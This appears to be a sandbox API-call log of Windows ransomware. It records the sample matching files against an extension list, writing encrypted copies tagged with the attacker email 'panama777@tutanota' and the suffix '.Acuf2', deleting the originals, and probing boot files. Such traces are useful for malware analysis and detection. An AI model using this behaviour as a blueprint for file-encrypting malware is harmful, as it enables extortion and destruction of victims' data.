	[0277.209] CloseHandle (hObject=0x388) returned 1
	[0277.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg")) returned 1
	[0277.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63
	[0277.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63
	[0277.210] lstrlenW (lpString=".doc") returned 4
	[0277.210] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0277.210] lstrlenW (lpString=".docx") returned 5
	[0277.210] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0277.210] lstrlenW (lpString=".pdf") returned 4
	[0277.210] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0277.210] lstrlenW (lpString=".xls") returned 4
	[0277.210] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0277.210] lstrlenW (lpString=".xlsx") returned 5
	[0277.210] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0277.210] lstrlenW (lpString=".ppt") returned 4
	[0277.210] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0277.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63
	[0277.210] lstrlenW (lpString=".zip") returned 4
	[0277.210] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0277.210] lstrlenW (lpString=".rar") returned 4
	[0277.211] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0277.211] lstrlenW (lpString=".bz2") returned 4
	[0277.211] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0277.211] lstrlenW (lpString=".7z") returned 3
	[0277.211] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0277.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63
	[0277.211] lstrlenW (lpString=".dbf") returned 4
	[0277.211] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0277.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63
	[0277.211] lstrlenW (lpString=".1cd") returned 4
	[0277.211] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0277.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63
	[0277.211] lstrlenW (lpString=".jpg") returned 4
	[0277.211] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0277.212] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.212] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0277.212] GetLastError () returned 0x0
	[0277.212] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xb5ac, lpOverlapped=0x0) returned 1
	[0277.214] WriteFile (in: hFile=0x394, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xb5b0, lpOverlapped=0x0) returned 1
	[0277.216] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.216] WriteFile (in: hFile=0x394, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0277.216] SetEndOfFile (hFile=0x394) returned 1
	[0277.216] CloseHandle (hObject=0x394) returned 1
	[0277.216] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.216] SetEndOfFile (hFile=0x388) returned 1
	[0277.219] CloseHandle (hObject=0x388) returned 1
	[0277.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg")) returned 1
	[0277.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63
	[0277.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63
	[0277.219] lstrlenW (lpString=".doc") returned 4
	[0277.219] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0277.219] lstrlenW (lpString=".docx") returned 5
	[0277.219] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0277.219] lstrlenW (lpString=".pdf") returned 4
	[0277.219] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0277.219] lstrlenW (lpString=".xls") returned 4
	[0277.219] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0277.219] lstrlenW (lpString=".xlsx") returned 5
	[0277.219] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0277.219] lstrlenW (lpString=".ppt") returned 4
	[0277.219] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0277.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63
	[0277.219] lstrlenW (lpString=".zip") returned 4
	[0277.220] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0277.220] lstrlenW (lpString=".rar") returned 4
	[0277.220] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0277.220] lstrlenW (lpString=".bz2") returned 4
	[0277.220] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0277.220] lstrlenW (lpString=".7z") returned 3
	[0277.220] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0277.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63
	[0277.220] lstrlenW (lpString=".dbf") returned 4
	[0277.220] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0277.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63
	[0277.220] lstrlenW (lpString=".1cd") returned 4
	[0277.220] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0277.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63
	[0277.220] lstrlenW (lpString=".jpg") returned 4
	[0277.220] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0277.221] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.221] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0277.222] GetLastError () returned 0x0
	[0277.222] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xaa9a, lpOverlapped=0x0) returned 1
	[0277.224] WriteFile (in: hFile=0x394, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xaaa0, lpOverlapped=0x0) returned 1
	[0277.225] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.225] WriteFile (in: hFile=0x394, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0277.225] SetEndOfFile (hFile=0x394) returned 1
	[0277.225] CloseHandle (hObject=0x394) returned 1
	[0277.225] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.225] SetEndOfFile (hFile=0x388) returned 1
	[0277.227] CloseHandle (hObject=0x388) returned 1
	[0277.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg")) returned 1
	[0277.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63
	[0277.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63
	[0277.228] lstrlenW (lpString=".doc") returned 4
	[0277.228] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0277.228] lstrlenW (lpString=".docx") returned 5
	[0277.228] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0277.228] lstrlenW (lpString=".pdf") returned 4
	[0277.228] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0277.228] lstrlenW (lpString=".xls") returned 4
	[0277.228] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0277.228] lstrlenW (lpString=".xlsx") returned 5
	[0277.228] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0277.228] lstrlenW (lpString=".ppt") returned 4
	[0277.228] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0277.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63
	[0277.228] lstrlenW (lpString=".zip") returned 4
	[0277.228] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0277.228] lstrlenW (lpString=".rar") returned 4
	[0277.228] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0277.228] lstrlenW (lpString=".bz2") returned 4
	[0277.228] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0277.228] lstrlenW (lpString=".7z") returned 3
	[0277.229] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0277.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63
	[0277.229] lstrlenW (lpString=".dbf") returned 4
	[0277.229] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0277.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63
	[0277.229] lstrlenW (lpString=".1cd") returned 4
	[0277.229] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0277.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63
	[0277.229] lstrlenW (lpString=".jpg") returned 4
	[0277.229] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0277.229] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.229] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0277.997] GetLastError () returned 0x0
	[0277.997] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x107d4, lpOverlapped=0x0) returned 1
	[0278.000] WriteFile (in: hFile=0x344, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x107e0, lpOverlapped=0x0) returned 1
	[0278.001] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0278.001] WriteFile (in: hFile=0x344, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0278.001] SetEndOfFile (hFile=0x344) returned 1
	[0278.001] CloseHandle (hObject=0x344) returned 1
	[0278.001] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0278.001] SetEndOfFile (hFile=0x388) returned 1
	[0278.004] CloseHandle (hObject=0x388) returned 1
	[0278.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0278.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg")) returned 1
	[0278.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63
	[0278.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63
	[0278.005] lstrlenW (lpString=".doc") returned 4
	[0278.005] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0278.005] lstrlenW (lpString=".docx") returned 5
	[0278.005] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0278.005] lstrlenW (lpString=".pdf") returned 4
	[0278.005] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0278.005] lstrlenW (lpString=".xls") returned 4
	[0278.005] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0278.005] lstrlenW (lpString=".xlsx") returned 5
	[0278.005] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0278.005] lstrlenW (lpString=".ppt") returned 4
	[0278.005] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0278.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63
	[0278.006] lstrlenW (lpString=".zip") returned 4
	[0278.006] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0278.006] lstrlenW (lpString=".rar") returned 4
	[0278.006] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0278.006] lstrlenW (lpString=".bz2") returned 4
	[0278.006] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0278.006] lstrlenW (lpString=".7z") returned 3
	[0278.006] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0278.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63
	[0278.006] lstrlenW (lpString=".dbf") returned 4
	[0278.006] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0278.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63
	[0278.006] lstrlenW (lpString=".1cd") returned 4
	[0278.006] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0278.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63
	[0278.006] lstrlenW (lpString=".jpg") returned 4
	[0278.006] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0278.007] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0278.007] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0278.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 99
	os_tid = 0x684

	[0249.004] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3a40060
	[0249.005] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3a50068
	[0249.005] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4e48
	[0249.005] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x521890
	[0249.005] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4e60
	[0249.005] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x3d30020
	[0249.005] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4e30
	[0249.005] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4e30, Size=0x20) returned 0x51b180
	[0249.005] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4e30
	[0249.005] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4e30, Size=0x20) returned 0x51b1a8
	[0249.006] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0249.006] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0249.006] Wow64DisableWow64FsRedirection (in: OldValue=0x310ff58 | out: OldValue=0x310ff58*=0x0) returned 1
	[0249.006] lstrlenW (lpString="kernel32.dll") returned 12
	[0249.006] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b180 | out: hHeap=0x4a0000) returned 1
	[0249.006] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0249.006] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b1a8 | out: hHeap=0x4a0000) returned 1
	[0249.006] Sleep (dwMilliseconds=0x64) 
	[0249.261] Sleep (dwMilliseconds=0x64) 
	[0249.489] lstrlenW (lpString="BCD") returned 3
	[0249.489] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.490] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0249.490] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0249.490] lstrlenW (lpString=".doc") returned 4
	[0249.490] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0249.490] lstrlenW (lpString=".docx") returned 5
	[0249.490] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0249.490] lstrlenW (lpString=".pdf") returned 4
	[0249.490] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0249.490] lstrlenW (lpString=".xls") returned 4
	[0249.490] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0249.490] lstrlenW (lpString=".xlsx") returned 5
	[0249.490] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0249.490] lstrlenW (lpString=".ppt") returned 4
	[0249.490] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0249.490] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0249.490] lstrlenW (lpString=".zip") returned 4
	[0249.490] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0249.490] lstrlenW (lpString=".rar") returned 4
	[0249.490] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0249.490] lstrlenW (lpString=".bz2") returned 4
	[0249.490] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0249.490] lstrlenW (lpString=".7z") returned 3
	[0249.490] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0249.490] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0249.490] lstrlenW (lpString=".dbf") returned 4
	[0249.490] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0249.490] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0249.490] lstrlenW (lpString=".1cd") returned 4
	[0249.490] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0249.490] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0249.491] lstrlenW (lpString=".jpg") returned 4
	[0249.491] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0249.491] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0249.491] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0249.491] lstrlenW (lpString=".doc") returned 4
	[0249.491] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0249.491] lstrlenW (lpString=".docx") returned 5
	[0249.491] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0249.491] lstrlenW (lpString=".pdf") returned 4
	[0249.491] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0249.491] lstrlenW (lpString=".xls") returned 4
	[0249.491] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0249.491] lstrlenW (lpString=".xlsx") returned 5
	[0249.491] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0249.491] lstrlenW (lpString=".ppt") returned 4
	[0249.491] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0249.491] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0249.491] lstrlenW (lpString=".zip") returned 4
	[0249.491] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0249.491] lstrlenW (lpString=".rar") returned 4
	[0249.491] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0249.491] lstrlenW (lpString=".bz2") returned 4
	[0249.491] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0249.491] lstrlenW (lpString=".7z") returned 3
	[0249.491] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0249.491] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0249.491] lstrlenW (lpString=".dbf") returned 4
	[0249.491] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0249.491] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0249.491] lstrlenW (lpString=".1cd") returned 4
	[0249.492] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0249.492] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0249.492] lstrlenW (lpString=".jpg") returned 4
	[0249.492] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0249.492] lstrcmpiW (lpString1=".LOG1", lpString2=".Acuf2") returned 1
	[0249.492] lstrlenW (lpString="BCD.LOG1") returned 8
	[0249.492] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0249.492] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=0) returned 1
	[0249.492] CloseHandle (hObject=0x28c) returned 1
	[0249.492] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0249.492] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0249.492] lstrlenW (lpString=".doc") returned 4
	[0249.492] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0249.492] lstrlenW (lpString=".docx") returned 5
	[0249.492] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0249.492] lstrlenW (lpString=".pdf") returned 4
	[0249.492] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0249.492] lstrlenW (lpString=".xls") returned 4
	[0249.492] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0249.492] lstrlenW (lpString=".xlsx") returned 5
	[0249.492] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0249.492] lstrlenW (lpString=".ppt") returned 4
	[0249.493] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0249.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0249.493] lstrlenW (lpString=".zip") returned 4
	[0249.493] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0249.493] lstrlenW (lpString=".rar") returned 4
	[0249.493] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0249.493] lstrlenW (lpString=".bz2") returned 4
	[0249.493] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0249.493] lstrlenW (lpString=".7z") returned 3
	[0249.493] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0249.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0249.493] lstrlenW (lpString=".dbf") returned 4
